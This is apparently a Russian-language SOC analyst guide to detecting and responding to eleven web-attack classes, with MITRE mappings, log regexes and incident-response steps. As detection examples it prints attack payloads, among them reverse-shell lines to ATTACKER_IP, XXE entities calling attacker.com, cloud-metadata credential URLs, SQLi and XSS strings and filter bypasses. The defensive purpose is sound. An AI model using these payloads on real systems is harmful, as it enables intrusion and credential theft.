Security Operations Center

Обнаружение вредоносной активности

Справочное руководство SOC-аналитика по классификации, обнаружению и реагированию на веб-атаки

💉

SQL Injection (SQLi)SQL-инъекции — внедрение вредоносных SQL-запросов

MITRE ATT&CK T1190 — Exploit Public-Facing Application

Типы

In-band SQLi (Классическая) SQL-запрос отправляется и получает ответ по одному и тому же каналу. Наиболее простой для эксплуатации вид — злоумышленник видит результат прямо в ответе сервера.
Inferential SQLi (Слепая) Результат SQL-запроса не отображается напрямую. Атакующий определяет структуру базы данных по косвенным признакам: времени ответа (Time-based) или булевым условиям (Boolean-based).
Out-of-band SQLi Ответ на SQL-запрос передаётся через другой канал (например, DNS-запросы или HTTP-запросы к серверу атакующего). Применяется, когда ни In-band, ни слепая инъекция невозможны.

Как обнаружить

Проверяйте все поля запроса

SQL-инъекции не ограничиваются формами ввода. Проверяйте все данные от пользователя, включая HTTP-заголовки — особенно User-Agent, Referer, Cookie и X-Forwarded-For.

Ищите SQL-ключевые слова

Проверяйте пользовательские данные на наличие ключевых слов: SELECT, INSERT, UPDATE, DELETE, DROP, UNION, WHERE, OR, AND, EXEC, CAST, CONVERT, DECLARE, WAITFOR DELAY, BENCHMARK, LOAD_FILE, INTO OUTFILE.

Обращайте внимание на спецсимволы

Следите за появлением одинарных кавычек ('), двойных кавычек ("), дефисов/комментариев (--, #, /*), скобок, точек с запятой (;) и конкатенации строк (||).

Изучите типовые пейлоады

Несмотря на вариативность, злоумышленники часто используют стандартные конструкции для проверки уязвимости:

Примеры' OR 1=1 -- ' OR 'a'='a " OR "" = " 1' ORDER BY 1 -- ' UNION SELECT NULL, NULL -- '; EXEC xp_cmdshell('whoami') -- 1' AND SLEEP(5) -- 1'; WAITFOR DELAY '0:0:5' -- 1' AND BENCHMARK(5000000, SHA1('test')) --

Обнаружение автоматизированных инструментов

Анализ User-Agent

Автоматизированные инструменты (sqlmap, Havij, jSQL и др.) часто указывают своё имя и версию в заголовке User-Agent. Ищите подобные сигнатуры.

Частота запросов

Нормальный пользователь отправляет ~1 запрос в секунду. Автоматизированные средства генерируют десятки и сотни запросов в секунду. Анализируйте количество запросов с одного IP за единицу времени.

Содержимое пейлоадов

Автоинструменты часто вставляют своё имя в пейлоады, например: sqlmap' OR 1=1. Кроме того, автоматические инструменты обычно генерируют более сложные и длинные пейлоады.

Дополнение: Обращайте внимание на кодирование пейлоадов: URL-encoded (%27 = '), двойное кодирование, Unicode-кодирование. Атакующие часто используют обфускацию для обхода WAF.
🛡️ Реагирование:
  1. Заблокируйте IP-адрес источника на WAF / файрволе.
  2. Проверьте, был ли запрос успешным (HTTP 200 + аномальный размер ответа = возможная утечка данных).
  3. Проанализируйте затронутый эндпоинт — определите, какая БД/таблица могла быть скомпрометирована.
  4. Уведомите команду разработки для патча уязвимого параметра.
  5. Эскалируйте инцидент при подтверждении утечки данных.
⚡

XSS (Cross-Site Scripting)Межсайтовый Скриптинг — внедрение вредоносного кода на страницу

MITRE ATT&CK T1189 — Drive-by Compromise  ·  T1059.007 — JavaScript

Типы

Reflected XSS (Отражённый) Непостоянный тип: вредоносный скрипт присутствует в запросе и «отражается» в ответе сервера. Наиболее распространённый вид XSS.
Stored XSS (Хранимый) Пейлоад сохраняется на сервере (в БД, файлах, комментариях) и выполняется при каждом просмотре страницы жертвой. Самый опасный вид XSS.
DOM-based XSS Атака происходит на стороне клиента: вредоносный код изменяет DOM-дерево в браузере жертвы, и клиентский скрипт выполняется «неожиданным» образом.

Как обнаружить

Ключевые слова

Ищите в пользовательских данных характерные конструкции: <script>, alert(, document.cookie, onerror=, onload=, eval(, javascript:, String.fromCharCode.

Спецсимволы

Проверяйте данные на наличие символов <, >, ", ', /, & — они используются для формирования HTML/JS-конструкций.

Типовые пейлоады

Примеры<script>alert('XSS')</script> <img src=x onerror=alert(1)> <svg/onload=alert(1)> <body onload=alert(1)> javascript:alert(document.cookie) "><script>alert(1)</script>
Дополнение: Атакующие активно используют обход фильтров: разбивку тегов, кодирование символов (&#x3C;), нестандартные обработчики событий (onfocus, onmouseover) и мутации HTML-парсера.
🛡️ Реагирование:
  1. Определите тип XSS: Reflected — заблокируйте URL; Stored — немедленно удалите пейлоад из хранилища (БД, комментарии).
  2. Проверьте журналы доступа: кто ещё посещал заражённую страницу (потенциальные жертвы Stored XSS).
  3. Проанализируйте пейлоад: ищет ли он cookie, перенаправляет ли на фишинг, загружает ли кейлоггер.
  4. При хищении сессий — принудительно инвалидируйте затронутые сессии.
  5. Уведомите разработчиков для внедрения экранирования вывода и CSP-заголовков.
🖥️

Command InjectionИнъекция команд ОС — выполнение произвольных системных команд

MITRE ATT&CK T1059 — Command and Scripting Interpreter  ·  T1190 — Exploit Public-Facing Application
⚠️ Критичность: Данная уязвимость позволяет атакующему получить полный контроль над сервером, поэтому она считается одной из наиболее опасных.

Принцип работы

Разделение команд

Символ ; (а также &&, ||, |, обратные кавычки `, $()) позволяет выполнить несколько команд последовательно. Например, имя файла file;ls;.txt приведёт к выполнению трёх команд операционной системой. Если подставить file;shutdown;.txt — сервер будет остановлен.

Как обнаружить

Проверяйте все области запроса

Уязвимость может находиться в любом параметре — URI, заголовках, теле запроса, имени загружаемого файла. Проверяйте все области.

Ключевые слова терминала

Ищите команды ОС в пользовательских данных: ls, cat, dir, type, cp, mv, wget, curl, whoami, id, uname, nc, bash, sh, powershell, cmd.exe.

Reverse shell пейлоады

При успешной эксплуатации атакующие обычно создают обратное соединение (reverse shell). Знайте типовые конструкции:

Примеры; bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1 | nc -e /bin/sh ATTACKER_IP PORT $(python -c 'import socket,subprocess...') ; powershell -NoP -NonI -W Hidden -Exec Bypass -Command ...
Дополнение: Обращайте внимание на нестандартное URL-кодирование разделителей команд: %3B = ;, %7C = |, %26 = &. Также следите за наличием base64-закодированных строк, которые могут содержать команды.
🛡️ Реагирование:
  1. Немедленно изолируйте сервер от сети (при подтверждении выполнения команд).
  2. Проверьте наличие reverse shell: активные сетевые соединения (netstat -antp), новые процессы, cron-задачи.
  3. Соберите артефакты: bash_history, access-логи, syslog, /tmp на наличие вредоносных скриптов.
  4. Заблокируйте IP атакующего и исходящие соединения к его серверу.
  5. Эскалируйте как инцидент высокой критичности — возможна полная компрометация хоста.
🔓

IDOR (Insecure Direct Object Reference)Небезопасная прямая ссылка на объект — предоставление доступа к объектам без проверки прав

MITRE ATT&CK T1530 — Data from Cloud Storage  ·  T1213 — Data from Information Repositories
⚠️ Сложность обнаружения: IDOR-атаки сложнее обнаружить, чем SQLi или XSS, так как они не содержат специфических пейлоадов — атакующий просто меняет идентификаторы объектов.

Как обнаружить

Проверяйте все параметры

IDOR может возникнуть в любом параметре, содержащем идентификатор: id, user_id, order_id, doc, file, account и т.д. Не ограничивайтесь только URL — проверяйте тело запроса и заголовки.

Количество запросов к одной странице

При обнаружении IDOR злоумышленник, как правило, перебирает идентификаторы для доступа к данным всех пользователей. Большое число запросов к одному эндпоинту от одного IP — тревожный сигнал.

Ищите паттерн перебора

Атакующий обычно перебирает предсказуемые значения: id=1, id=2, id=3… Последовательные целочисленные значения с равным интервалом — явный признак brute-force по IDOR.

Дополнение: Помимо целых чисел, обращайте внимание на перебор UUID (если они предсказуемы), а также на запросы с разными значениями параметров, приводящие к ответам различного размера (утечка данных других пользователей).
🛡️ Реагирование:
  1. Установите rate-limit на затронутый эндпоинт, заблокируйте IP источника.
  2. Определите масштаб: какие именно объекты (записи, файлы, профили) были доступны атакующему.
  3. Проверьте, были ли данные фактически получены (HTTP 200 с телом ответа).
  4. Уведомите команду разработки для внедрения проверки авторизации на уровне объекта.
  5. При подтверждении утечки персональных данных — эскалируйте согласно процедуре Data Breach.
📂

RFI & LFI (Remote & Local File Inclusion)Включение удалённых и локальных файлов — подмена динамически подключаемых файлов

MITRE ATT&CK T1059.004 — Unix Shell  ·  T1105 — Ingress Tool Transfer (RFI)
Отличие от Directory Traversal: LFI эксплуатирует механизм включения файлов на уровне приложения (например, include() в PHP) и может привести к выполнению кода через PHP-обёртки. Directory Traversal — это чтение произвольных файлов через манипуляцию путём на уровне веб-сервера без их исполнения.

Как обнаружить

Проверяйте все поля

Как и в случае других уязвимостей — инспектируйте все параметры, поступающие от пользователя.

Спецсимволы путей

Ищите символы навигации по файловой системе: /, \, ., .., %2e, %2f, %5c, а также NULL-байт %00.

Типовые файлы LFI

При LFI-атаке злоумышленник читает файлы на сервере. Знание критичных файлов поможет в обнаружении:

/etc/passwd /etc/shadow /etc/hosts /proc/self/environ c:\boot.ini c:\windows\win.ini web.config .htaccess

PHP-обёртки (LFI → RCE)

LFI может быть расширена до выполнения кода через PHP-обёртки. Ищите в параметрах следующие конструкции:

PHP Wrappersphp://filter/convert.base64-encode/resource=index.php php://input ← POST-данные выполняются как PHP data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VU... expect://whoami ← выполнение команды ОС zip://malicious.zip#shell.php

Признаки RFI

При RFI-атаке злоумышленник подключает файл со своего сервера. Ищите в параметрах вхождения http://, https://, ftp://, а также обфусцированные варианты: hTtP://, https%3A%2F%2F.

🛡️ Реагирование:
  1. Заблокируйте IP источника. При обнаружении RFI — заблокируйте также исходящие подключения к домену/IP атакующего.
  2. Проверьте, удалось ли атакующему прочитать файлы (анализируйте размер ответа).
  3. При наличии PHP-обёрток — проверьте сервер на признаки RCE: новые файлы в webroot, изменённые cron-задачи, подозрительные процессы.
  4. Уведомите разработчиков: необходимо использовать белый список допустимых файлов и отключить allow_url_include.
↗️

Open RedirectОткрытое перенаправление — перенаправление на внешние ресурсы без проверки

MITRE ATT&CK T1566.002 — Phishing: Spearphishing Link
Severity: Сам по себе Open Redirect оценивается как Low/Medium, однако в цепочке с фишингом или перехватом OAuth-токенов может стать критичным звеном атаки.

Типы

URL-based Наиболее частый тип: сайт принимает URL в параметре и перенаправляет без проверки. Пример: ?redirect=https://evil.com.
JavaScript-based Перенаправление через JavaScript (window.location), где целевой URL берётся из ненадёжного источника.
Meta refresh-based Используется тег <meta http-equiv="refresh"> с контролируемым атакующим URL.
Header-based HTTP-заголовок Location формируется с использованием непроверенных пользовательских данных.
Parameter-based Параметр URL или формы используется как часть редиректа без валидации значения.

Как обнаружить

Параметры перенаправления

Следите за запросами с параметрами типа ?next=, ?url=, ?redirect=, ?return=, ?goto=, содержащими внешние URL-адреса.

Техники обхода WAF

Атакующие используют различные способы обхода фильтров:

Bypasshttp://[::]:25/ ← IPv6 Localhost http://①②⑦.⓪.⓪.⓪ ← Unicode http://127.0.0.0 ← CIDR http://2130706433/ ← Decimal = 127.0.0.1 http://0x7f000001/ ← Hexadecimal = 127.0.0.1 %2f = / ← URL encoding

Regex для обнаружения в логах

Regex/^.*"GET.*\?.*=(https?%3a%2f%2f[a-z0-9-]+%2e[a-z]{2,}).+?.*HTTP\/.*".*$/gm

Данное выражение найдёт GET-запросы, в параметрах которых содержится закодированный внешний URL (http:// или https://).

🛡️ Реагирование:
  1. Определите целевой домен перенаправления — фишинг, malware, OAuth-перехват?
  2. Проверьте, распространялась ли вредоносная ссылка (email-логи, мессенджеры, соцсети).
  3. Уведомите разработчиков: необходим белый список допустимых доменов для перенаправления.
  4. При использовании в цепочке OAuth — инвалидируйте выданные токены и уведомите затронутых пользователей.
📁

Directory Traversal (Path Traversal)Обход каталогов — чтение файлов за пределами webroot на уровне веб-сервера

MITRE ATT&CK T1083 — File and Directory Discovery  ·  T1005 — Data from Local System
Отличие от LFI: Directory Traversal — это чтение файлов через манипуляцию путём на уровне веб-сервера (статическое чтение). LFI — это включение файлов через механизм приложения, что может привести к их исполнению. На практике они часто пересекаются.

Как обнаружить

Базовый regex для nginx access.log

Regex/^.*"GET.*\?.*=(%2e%2e%2f|\.\.\/|\.\.\%5c).+?.*HTTP\/.*".*$/gmi

Находит URL-закодированные и обычные последовательности ../ и ..\ в GET-параметрах.

Целевые файлы

Атакующий стремится получить доступ к критичным файлам ОС:

/etc/passwd /etc/shadow /etc/group /etc/hosts /etc/issue c:/boot.ini c:/inetpub/wwwroot/web.config c:/sysprep.inf

Regex с защитой от ложных срабатываний

Regex/^.*"GET.*\?.*=(.+?(?=%2e%2e%2fetc%2f)).+?.*HTTP\/.*".*$/gm

Более строгое выражение — ищет путь, оканчивающийся на ../etc/, что снижает количество false positive.

Дополнение: Помимо %2e%2e%2f, атакующие могут использовать Unicode-кодирование (%c0%ae), двойное URL-кодирование (%252e%252e%252f) и обратные слеши (..\ → %2e%2e%5c) для обхода WAF.
🛡️ Реагирование:
  1. Заблокируйте IP источника.
  2. Проверьте, был ли файл прочитан успешно: HTTP 200 + размер ответа, соответствующий размеру целевого файла.
  3. Если прочитан /etc/shadow или аналогичные файлы — немедленно смените все пароли на хосте и эскалируйте инцидент.
  4. Уведомите разработчиков: необходима каноникализация путей и ограничение доступа к файловой системе.
🔑

Brute ForceАтака перебором — подбор учётных данных

MITRE ATT&CK T1110 — Brute Force  ·  T1110.001 — Password Guessing  ·  T1110.004 — Credential Stuffing

Как обнаружить

Regex для nginx-логов

Regex/^(\S+) \S+ \S+ \[.*?\] "(POST|GET) \/login\.php.*?" (401|403) \d+ ".*?" ".*?"/gm

Находит неудачные попытки входа (HTTP 401/403) на страницу /login.php. Первая группа захвата (\S+) содержит IP-адрес клиента.

Анализ результатов

  • Подсчитайте количество совпадений для каждого IP-адреса.
  • Пометьте IP с высоким числом неудачных попыток как потенциальный источник brute-force.
  • Учтите временные рамки: 50+ неудачных попыток за минуту — почти наверняка автоматическая атака.
  • Обращайте внимание на распределённый brute-force: множество IP с небольшим числом попыток каждый, но на один и тот же аккаунт.
Дополнение: Также отслеживайте: атаки типа credential stuffing (различные пары логин/пароль с одного IP), password spraying (один пароль на множество аккаунтов), и аномальные всплески 401/403 на эндпоинтах API (например, /api/auth, /oauth/token).
🛡️ Реагирование:
  1. Заблокируйте IP-адреса источников на WAF / файрволе.
  2. Проверьте, был ли brute-force успешным: ищите HTTP 200/302 после серии 401/403 с одного IP.
  3. При успешном подборе — немедленно заблокируйте скомпрометированный аккаунт и сбросьте пароль.
  4. Включите или усильте rate-limiting и CAPTCHA на эндпоинте аутентификации.
  5. При credential stuffing — уведомите пользователей о необходимости смены паролей, если они переиспользуют их на других сервисах.
📄

XXE (XML External Entity)Внедрение внешних XML-сущностей — чтение файлов, SSRF, DoS через XML-парсер

MITRE ATT&CK T1190 — Exploit Public-Facing Application  ·  T1005 — Data from Local System

Описание

XXE — уязвимость в приложениях, обрабатывающих XML-данные. Злоумышленник внедряет вредоносные XML-конструкции, которые могут привести к: чтению файлов на сервере, SSRF (выполнение запросов от имени сервера, сканирование внутренних сетей), отказу в обслуживании (Billion Laughs), а в отдельных случаях — к удалённому выполнению кода.

Типы

Basic XXE Классическая атака: объявление внешней сущности, ссылающейся на файл или URL. Результат возвращается в ответе.
Blind XXE Результат не возвращается напрямую — данные извлекаются через внешние каналы (OOB): DNS, HTTP-запросы на сервер атакующего.
XXE с PHP-фильтром Использует PHP-потоковые обёртки (php://filter) для чтения файлов в base64-кодировке, обходя ограничения вывода.

Как обнаружить

Ключевые слова в запросах

Проверяйте тело XML-запросов на наличие директив:

Маркеры!DOCTYPE !ELEMENT !ENTITY SYSTEM PUBLIC

Типовые пейлоады

Примеры<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/evil.dtd">]> <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>

Regex для nginx-логов

Regex/^(\S+) - (\S+) \[(.*?)\] "(\S+) (.*?)\?(?=.*?\b%21DOCTYPE\b).*? HTTP\/\d\.\d" (\d+) (\d+) "(.*?)" "(.*?)"/gm

Обнаруживает URL-закодированное вхождение !DOCTYPE (%21DOCTYPE) в строке запроса nginx-лога.

⚠️ Важно: XXE-пейлоады чаще всего передаются в теле POST-запроса (Content-Type: application/xml или text/xml), а не в query string. Regex выше полезен для GET-запросов, но основной анализ XXE требует инспекции тела запроса в WAF-логах или SIEM.
Дополнение: XXE может скрываться не только в XML-телах запросов, но и в загружаемых файлах: XLSX, DOCX, SVG — все эти форматы основаны на XML. Проверяйте загрузки файлов на наличие XML-сущностей.
🛡️ Реагирование:
  1. Заблокируйте IP источника.
  2. Проверьте, содержит ли ответ данные из файлов сервера (утечка /etc/passwd и т.д.).
  3. При Blind XXE — проверьте DNS-логи и исходящий трафик на подключения к неизвестным доменам.
  4. Проанализируйте загруженные файлы (XLSX, DOCX, SVG) на наличие встроенных XML-сущностей.
  5. Уведомите разработчиков: необходимо отключить обработку внешних сущностей в XML-парсере (disallow-doctype-decl, external-general-entities = false).
🌐

SSRF (Server-Side Request Forgery)Подделка запросов на стороне сервера — принуждение сервера к отправке запросов на внутренние ресурсы

MITRE ATT&CK T1090 — Proxy  ·  T1018 — Remote System Discovery  ·  T1552.005 — Cloud Instance Metadata API
⚠️ Критичность: SSRF входит в OWASP Top 10 (A10:2021). В облачных средах (AWS, GCP, Azure) эта атака особенно опасна: доступ к metadata-эндпоинтам может привести к полной компрометации инфраструктуры.

Типы

Basic SSRF Сервер выполняет запрос к URL, указанному атакующим, и возвращает результат в ответе. Позволяет читать внутренние ресурсы напрямую.
Blind SSRF Сервер выполняет запрос, но не возвращает результат. Атакующий подтверждает успех через время ответа, DNS-резолвинг или внешний callback (Burp Collaborator, interactsh).

Как обнаружить

Параметры с URL-адресами

Ищите параметры, принимающие URL: url=, src=, dest=, redirect=, uri=, path=, window=, next=, data=, load=, page=, reference=, callback=.

Внутренние IP и metadata-эндпоинты

Ключевой признак SSRF — обращение к внутренним адресам через пользовательский параметр:

Целевые адреса127.0.0.1 / localhost ← Loopback 10.0.0.0/8 ← Внутренняя сеть 172.16.0.0/12 ← Внутренняя сеть 192.168.0.0/16 ← Внутренняя сеть 169.254.169.254 ← AWS/GCP/Azure Metadata metadata.google.internal ← GCP Metadata 100.100.100.200 ← Alibaba Cloud Metadata

Техники обхода фильтров

Атакующие маскируют внутренние адреса различными способами:

Bypasshttp://0x7f000001/ ← Hex = 127.0.0.1 http://2130706433/ ← Decimal = 127.0.0.1 http://0177.0.0.1/ ← Octal = 127.0.0.1 http://[::1]/ ← IPv6 Loopback http://127.1/ ← Сокращённый loopback http://spoofed.burpcollaborator.net ← DNS rebinding http://localtest.me ← Резолвится в 127.0.0.1

Целевые Cloud Metadata пейлоады

Cloud Metadatahttp://169.254.169.254/latest/meta-data/ ← AWS Instance Metadata http://169.254.169.254/latest/meta-data/iam/security-credentials/ ← AWS IAM Creds http://metadata.google.internal/computeMetadata/v1/ ← GCP Metadata http://169.254.169.254/metadata/instance?api-version=2021-02-01 ← Azure Metadata
Дополнение: SSRF может быть скрыта в неочевидных функциях: генерация PDF из URL, предпросмотр ссылок (link preview), импорт данных по URL, webhooks, интеграции с внешними сервисами. Обращайте внимание на любые эндпоинты, принимающие URL как входные данные.
🛡️ Реагирование:
  1. Заблокируйте IP источника. Проверьте, удалось ли прочитать metadata-эндпоинты (в ответе могут быть IAM-ключи).
  2. При утечке cloud credentials — немедленно ротируйте ключи и проверьте CloudTrail/Activity Log на несанкционированные действия.
  3. Проверьте, к каким внутренним сервисам обращался сервер (анализ исходящих подключений).
  4. Уведомите разработчиков: необходим белый список допустимых доменов, блокировка приватных IP-диапазонов на уровне приложения, включение IMDSv2 (AWS).
  5. Эскалируйте при подтверждении доступа к metadata — это потенциальная полная компрометация облачной инфраструктуры.
🎭

CSRF (Cross-Site Request Forgery)Межсайтовая подделка запроса — выполнение действий от имени аутентифицированного пользователя

MITRE ATT&CK T1189 — Drive-by Compromise

Описание

CSRF вынуждает браузер аутентифицированного пользователя отправить нежелательный запрос к веб-приложению. Браузер автоматически прикрепляет cookies, и сервер принимает запрос как легитимный. Результат: смена пароля, перевод средств, изменение email — без ведома жертвы.

Как обнаружить

Отсутствие или невалидность CSRF-токена

Проверяйте, содержат ли state-changing запросы (POST, PUT, DELETE) валидный CSRF-токен. Запросы без токена или с пустым/повторяющимся токеном — подозрительны.

Cross-origin запросы

Обращайте внимание на заголовки Origin и Referer. Если state-changing запрос приходит с внешнего домена (Origin не совпадает с целевым хостом) — это признак CSRF.

Подозрительные паттерны

  • Запросы на смену пароля/email без предварительного GET на форму (пользователь не заходил на страницу).
  • State-changing запросы с Referer, указывающим на внешний домен.
  • Несколько пользователей выполняют одинаковое действие в короткий промежуток (массовая CSRF-атака).
  • Запросы со сторонних доменов к критичным эндпоинтам: /account/update, /transfer, /admin/.

Типовые пейлоады

Атакующий размещает на вредоносной странице скрытые формы или изображения, отправляющие запросы:

Примеры<img src="https://bank.com/transfer?to=attacker&amount=1000"> <form action="https://target.com/change-email" method="POST"> <input type="hidden" name="email" value="attacker@evil.com"> </form> <script>document.forms[0].submit();</script>
Дополнение: CSRF сложнее обнаружить в логах, чем другие атаки, так как запрос выглядит полностью легитимным (отправлен реальным браузером реального пользователя). Основной индикатор — несовпадение Origin/Referer с целевым доменом. В современных SPA-приложениях с JSON API CSRF менее вероятен благодаря CORS, но не исключён при некорректной конфигурации.
🛡️ Реагирование:
  1. Определите, какие действия были выполнены от имени жертв: смена пароля, email, финансовые операции.
  2. Откатите несанкционированные изменения и уведомите затронутых пользователей.
  3. Установите источник вредоносной страницы (из Referer) и заблокируйте домен.
  4. Уведомите разработчиков: необходимо внедрить CSRF-токены, проверку Origin/Referer, атрибут SameSite для cookies.